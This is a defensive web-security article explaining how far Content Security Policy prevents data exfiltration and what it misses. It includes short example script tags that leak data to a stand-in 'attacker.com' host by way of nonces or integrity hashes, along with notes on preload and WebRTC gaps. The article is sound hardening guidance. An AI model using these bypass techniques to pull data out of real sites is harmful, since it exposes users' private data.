Anti-Exfiltration with Content Security Policy

Many developers believe Content Security Policy protects sites even if an attacker can execute code on the page — through a compromised npm dependency, for instance. Because CSP offers such a rich variety of options for limiting which images, fonts, stylesheets, manifests, and other resources a page can request, which servers it can contact with the Fetch API, and which WebSocket connections are allowed, it seems like a strict policy should be able to prevent user data from being leaked to third parties if the page is compromised.

Unfortunately, this is only partially true. Content Security Policy was designed in the 2000s for a web built on server-side templating frameworks — the era of PHP and Django. It was intended to act as a practical impediment to XSS and content injection attacks, not as a comprehensive firewall around outgoing network requests. As it turns out, the level of real exfiltration resistance provided by CSP has non-obvious dependencies on which options are used — and issues with a number of web APIs allow them to make network requests without checking CSP at all.

That said, restricting outbound network connections is an extremely attractive mitigation for supply chain attacks. After researching how best to (mis)use Content Security Policy to minimize exfiltration surface area, I wanted to summarize which options to use, which options to avoid, and some upcoming browser features that will further improve the situation.

Options to Avoid

  1. Nonces. If the policy specifies a nonce, the browser will fetch any script with a matching nonce, regardless of origin. Since URLs can be very long (Chrome’s limit is around 2MB), this is an efficient way to leak data to a third-party server.

    # Content-Security-Policy:
    #   default-src 'none';
    #   script-src 'nonce-RANDOM';
    <script src="//attacker.com?q=leakme..." nonce="RANDOM">
    

    It’s not sufficient to keep the nonce secret: by design, they’re accessible from JavaScript, so any code running on the page can search the DOM for <script> tags and discover the nonce. In addition, if the policy is specified via a <meta> tag instead of an HTTP header, scripts can read the nonce from there.

  2. Hashes. New in CSP3: if the policy specifies a hash, the browser will fetch any script with a matching integrity attribute, regardless of origin. Subresource Integrity will block the script from executing if the response doesn’t match the hash, but by that point any data in the script URL will have already leaked.

    # Content-Security-Policy:
    #   default-src 'none';
    #   script-src 'sha256-rtEtYjIWzAL5l2lB//KqWkveOS7816PBp...';
    <script src="//attacker.com?q=leakme..."
            integrity="sha256-rtEtYjIWzAL5l2lB//KqWkveOS7816PBp..."
            crossorigin>
    

Options to Use

  1. Restrict forms and navigation. When the user navigates to a new page — by clicking a link, by submitting a form, or via a document.location redirect — data is necessarily sent to the destination server.

    Forms are the highest-volume exfiltration channel and can include gigabytes of data in the POST body. Content Security Policy can enforce restrictions on form destinations via the form-action directive. (Only directives that end in -src inherit from default-src, so form-action needs to be specified explicitly.)

    # Content-Security-Policy:
    #   ...
    #   form-action 'self';
    

    To restrict ordinary GET navigations, there is a planned navigate-to directive, not yet implemented by browsers. Fortunately, page navigations are visible to the user, so they’re hard to trigger repeatedly without being detected.

  2. Restrict postMessage. Cooperating origins can communicate over postMessage, either by embedding one another in an iframe or through the window.opener property of popups.

    Content Security Policy can stop a page from being embedded by or from embedding other origins:

    # Content-Security-Policy:
    #   ...
    #   frame-src 'self';
    #   frame-ancestors 'self';
    

    Using COOP and COEP blocks cross-origin postMessage in non-iframe scenarios. However, it was originally designed to allow browsers to mitigate Spectre by isolating pages from different origins in different processes; the complete restriction on communication isn’t essential to the design and may be relaxed in the future.

    # Cross-Origin-Opener-Policy: same-origin
    # Cross-Origin-Embedder-Policy: require-corp
    

Browser Issues

  1. Preload and friends. By adding a <link> tag to the document, pages can instruct the browser to prepare resources that may be needed in the near future. There are different variations: preload, prefetch and prerender all fetch a URL, while dns-prefetch and preconnect only issue a DNS query for the hostname (hostnames leak up to 255 bytes).

    Unfortunately, there’s significant ambiguity as to which variations should be subject to Content Security Policy. Today, most browsers apply CSP to preload and prefetch but not prerender. CSP3 improves the situation with the prefetch-src directive, which clarifies that prerender should be covered — but it leaves dns-prefetch and preconnect in the air. Maybe that’s good enough for now?

  2. WebRTC. Due to an oversight in the WebRTC specification, WebRTC connections do not respect Content Security Policy. This is a little surprising, since a WebRTC data channel is a reliable, bidirectional, high-bandwidth stream — functionally equivalent to a WebSocket.

    Because WebRTC is used to set up peer-to-peer connections between unnamed hosts, it’s not obvious how Content Security Policy should apply, as a traditional hostname allowlist won’t work. Instead, the current proposal is to add a CSP directive that completely enables or disables WebRTC on the page.

Demo

To test how browsers implement Content Security Policy, I built a quick browser test suite. It’s a tiny WebSocket + DNS + WebRTC server hosted on Fly: the test runner opens a connection to the server and then injects various elements into the DOM, each one pointing to a unique hostname. If the browser starts to fetch any of the resources, the server logs the DNS request (or WebRTC packet) and marks the corresponding test case as failed.

The rightmost column displays live test results for your browser. Click on the icons to view the test cases' source code.

Chrome 100 Firefox 99 Edge 100 Brave 1.37 macOS Safari 15.4 Live Test
T1: <script> nonce
T2: <meta> nonce
T3: <script> hash
P1: <link rel="preload">
P2: <link rel="prefetch">
P3: <link rel="dns-prefetch">
P4: <link rel="preconnect">
P5: <link rel="prerender">
W1: WebRTC, STUN server hostname
W2: WebRTC, candidate hostname
W3: WebRTC, candidate username
W4: WebRTC, full data channel